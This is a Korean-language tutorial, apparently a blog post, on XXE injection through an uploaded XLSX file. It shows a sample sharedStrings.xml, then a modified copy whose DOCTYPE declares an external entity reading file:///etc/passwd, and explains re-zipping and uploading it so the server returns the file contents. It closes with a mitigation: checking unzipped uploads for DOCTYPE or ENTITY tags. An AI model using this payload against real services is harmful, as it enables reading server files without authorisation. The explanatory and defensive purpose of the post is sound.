XLSX 파일의 경우, 파일 구조 상 압축을 풀 수 있는데 해당 파일의 압축을 풀면 다음과 같은 파일구조를 가지게된다.
- _rels
- .rels
- docProps
- app.xml
- core.xml
- xl
- _rels
- workbook.xml.rels
- theme
- theme1.xml
- worksheets
- sheet1.xml
- sheet2.xml
- sheet3.xml
- calcChain.xml
- sharedStrings.xml
- styles.xml
- workbook.xml
- [Content_Types].xml
해당 파일 내 xl
-sharedStrings.xml
파일을 보게되면 XML 형식으로 작성되어있다.
따라서 해당 파일을 에디터로 확인하면 다음과 같은 코드가 노출된다. (샘플 파일 내 있는 코드다.)
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="118" uniqueCount="45">
<si>
<t>Hostname</t>
</si>
<si>
<t>IP</t>
</si>
<si>
<t>취약점</t>
</si>
<si>
<t>취약성</t>
</si>
<si>
<t>CVSS 점수</t>
</si>
<si>
<t>Risk</t>
</si>
<si>
<t>조치 방안</t>
</si>
<si>
<t>EOL</t>
</si>
<si>
<t>조치 예정</t>
</si>
<si>
<t>조치 의견</t>
</si>
<si>
<t>KT_M01</t>
</si>
<si>
<t>192.168.0.1</t>
</si>
<si>
<t>TVE-1234-5678</t>
</si>
<si>
<t>CRITICAL</t>
</si>
<si>
<t>9.9</t>
</si>
<si>
<t>Download Patch 001-1</t>
</si>
<si>
<t>OK</t>
</si>
<si>
<t>KT_M02</t>
</si>
<si>
<t>192.168.0.2</t>
</si>
<si>
<t>TVE-1236-5678</t>
</si>
<si>
<t>9.1</t>
</si>
<si>
<t>Download Patch PT-8234</t>
</si>
<si>
<t>Download Patch 001-3</t>
</si>
<si>
<t>OS</t>
</si>
<si>
<t>Exploit 여부</t>
</si>
<si>
<t>멀웨어 여부</t>
</si>
<si>
<t>최초 발견일자</t>
</si>
<si>
<t>조치 납기일자</t>
</si>
<si>
<t>조치 완료일자</t>
</si>
<si>
<t>취약 증명</t>
</si>
<si>
<t>취약 설명</t>
</si>
<si>
<t>Windows 10</t>
</si>
<si>
<t>N</t>
</si>
<si>
<t>Y</t>
</si>
<si>
<t>2024.11.26</t>
</si>
<si>
<t>Searching TVE-1234 Flags</t>
</si>
<si>
<t>TVE-1235-1234</t>
</si>
<si>
<t>NORMAL</t>
</si>
<si>
<t>2024.11.28</t>
</si>
<si>
<t>Download Patch 1234</t>
</si>
<si>
<t>Searching TVE-125-1234 Flags</t>
</si>
<si>
<t>Checking TVE Code in System</t>
</si>
<si>
<t>192.168.0.3</t>
</si>
<si>
<t>KT_M03</t>
</si>
<si>
<t>Windows 11</t>
</si>
</sst>
다음 코드 내 XXE 코드 입력을 위해 상단에 위치한 XML 선언 줄 밑에 다음 코드 등을 작성하고, 마지막 줄 정도에 send
등의 코드를 입력하면 된다.
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE data [
<!ENTITY send SYSTEM "file:///etc/passwd"">
]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="118" uniqueCount="45">
<si>
<t>Hostname</t>
</si>
(이하 중략)
...
</si>
<si>
&send;
</si>
<si>
<t>Windows 11</t>
</si>
</sst>
본 코드 입력 이후, XLSX 로 다시 압축, 업로드 후 해당 파일을 호출하는 경우 해당 서비스 페이지 응답 값에서 해당 파일에 대한 내용을 획득할 수 있다.
다만 해당 취약점의 경우 xlsx 를 처리하는 웹 어플리케이션 (서비스) 에서 DTD, Document Type Definition 을 처리해야하며 해당 서비스 어플리케이션에서 외부 엔티티 확장이 활성화된 상태여야한다.
대응 방법
본 취약점은 XML 기반 xlsx 파일을 업로드하여 발생하는 취약점으로 업로드 이후 서버 단에서 진행되는 파일 파싱 구간에서 해당 파일 구조 및 내용 검증이 요구된다. 따라서 .xlsx 파일은 .zip
형식으로 압축되어 있으므로 해당 파일의 압축해제 후 XML 파일 내 <!DOCTYPE>
또는 <!ENTITY>
태그가 포함되어있는지 체킹이 요구된다.